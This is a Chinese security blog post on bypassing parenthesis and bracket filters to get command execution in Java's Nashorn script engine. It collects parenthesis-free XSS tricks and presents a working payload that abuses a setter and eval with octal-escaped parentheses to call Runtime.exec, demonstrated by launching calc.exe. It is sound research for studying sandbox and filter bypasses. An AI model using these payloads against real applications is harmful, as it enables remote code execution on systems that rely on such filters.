当Nashorn失去括号:非典型Java命令执行绕过
2024-4-12 11:37:12 Author: govuln.com(查看原文) 阅读量:6 收藏

昨天『代码审计』知识星球里有同学向我提了一个有趣的问题:

image.png

简单来说就是,在Java的Nashorn脚本中,如果不允许使用小括号()和中括号[],如何执行任意命令?

0x01 浏览器JavaScript无括号XSS

我们知道,Nashorn脚本本质上是JavaScript,而无括号的XSS Payload其实是一个老问题了。因为JavaScript在执行函数的时候需要使用括号,所以解决问题的核心其实就是“如何不使用括号来执行函数”。

在浏览器上下文中,我们通常有这样一些思路来绕过对括号的限制:

  • 使用ES6中的反引号代替括号,如alert`23`
  • 使用location和伪协议来执行代码,如location.href='javascript:alert%281%29',这个方法我10年前曾在《利用location来变形我们的XSS Payload》这篇文章里详细介绍过
  • 使用DOM相关方法写入HTML到页面,如document.body.innerHTML=location.hash;
  • 使用onerror和throw来变相执行函数,如onerror=alert;throw 23;

基本所有对于括号的绕过方法,无论怎么变形最后都归结于上述4种思路,网上也有不少人整理过Payloads,可以参考:https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

但是,虽然都是JavaScript,但浏览器里的这些方法并不能套用到Nashorn中:

image.png

一是Nashorn并不支持ES6语法,二是其中没有DOM相关方法,三是上下文中也没有全局对象可以注册onerror。

0x02 Fastjson:我换个衣服你就不认识我了吗?

既然JavaScript里的方法不能直接利用,我们还是需要回到Nashorn和Java中找方法。

先来做个实验,首先编写一个简单的User类,其中包含一个getter和一个setter:

package com.govuln.js;

public class User {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

然后我们编写这样一段Nashorn脚本:

var user = new com.govuln.js.User;
user.name = "Bob";
print(user.name);

调试运行可以发现,User类的setter和getter被调用了:

image.png

所以在Nashorn脚本中,当执行赋值语句时,对象的setter会被调用;当获取属性时,对象的getter会被调用。在不借助括号的情况下,通过这两种方法可以执行函数。

好像很熟悉?提出这个问题的圈友好像已经意识到了这个问题的本质是什么,其实就是Fastjson反序列化漏洞换了个皮又粉墨登场了

所以,第一种解决问题的方法就是直接利用Fastjson相关的利用链,由于网上已经有很多介绍文章了,这里不再赘述。

0x03 Nashorn与Java接口、抽象类的利用

当然,Fastjson各个利用链都有自己的不足,有的需要连接外网,有的有Java版本限制,有的只能写文件,有的依赖第三方库。如果想要找一种更通用的利用方法,还得继续深入研究。

在阅读Nashorn的文档时,我发现一个有趣的语法:https://docs.oracle.com/en/java/javase/11/scripting/using-java-scripts.html

image.png

Nashorn支持在JavaScript中实现Java的接口和抽象类,并提供了一个特殊的语法:

var r = new java.lang.Runnable() {
    run: function() {
        print("running...\n");
    }
};

由于调用无参构造函数可以省略括号,上述代码可以省略成这样的代码:

var r = new java.lang.Runnable {
    run: print
};

如果有方法可以调用到r对象的run方法,不就等于调用了print函数吗?

再结合我们在0x02中学习到的setter方法,我们可以尝试在Java中找到一个接口或抽象类,其包含setter,我将这个setter重写成eval函数,就可以在执行赋值语句的时候执行任意代码了。

快速找到符合条件的setter,我们可以借助CodeQL或者Tabby,因为我们这次的目标非常简单,人工找甚至也可以。比如这个java.beans.Customizer接口:

public interface Customizer {

    /**
     * Set the object to be customized.  This method should be called only
     * once, before the Customizer has been added to any parent AWT container.
     * @param bean  The object to be customized.
     */
    void setObject(Object bean);

    /**
     * Register a listener for the PropertyChange event.  The customizer
     * should fire a PropertyChange event whenever it changes the target
     * bean in a way that might require the displayed properties to be
     * refreshed.
     *
     * @param listener  An object to be invoked when a PropertyChange
     *          event is fired.
     */
     void addPropertyChangeListener(PropertyChangeListener listener);

    /**
     * Remove a listener for the PropertyChange event.
     *
     * @param listener  The PropertyChange listener to be removed.
     */
    void removePropertyChangeListener(PropertyChangeListener listener);

}

其就包含一个setObject()方法,且参数是一个Object,我可以传入任意类型的数据。

使用它来构造最终的Nashorn脚本如下:

var a = new java.beans.Customizer {
    setObject: eval
}
a.object = "java.lang.Runtime.getRuntime\50\51.exec\50'calc.exe'\51";

执行成功弹出计算器:

image.png

0x04 总结

本文介绍了如何在不使用小括号、中括号的情况下,利用Nashorn脚本特性构造了一个结合JavaScript和Java两门语言特点的Payload,最终执行任意代码和命令的方法。

由于最初『代码审计』里这位圈友给的问题很简单,不知是否还有其他限制条件,是否能最终解决他的问题,让我赚到8块钱🤣。但光就这个场景的绕过方法,其实也挺有意思的。

参考资料:


文章来源: https://govuln.com/news/url/g8Nn
如有侵权请联系:admin#unsafe.sh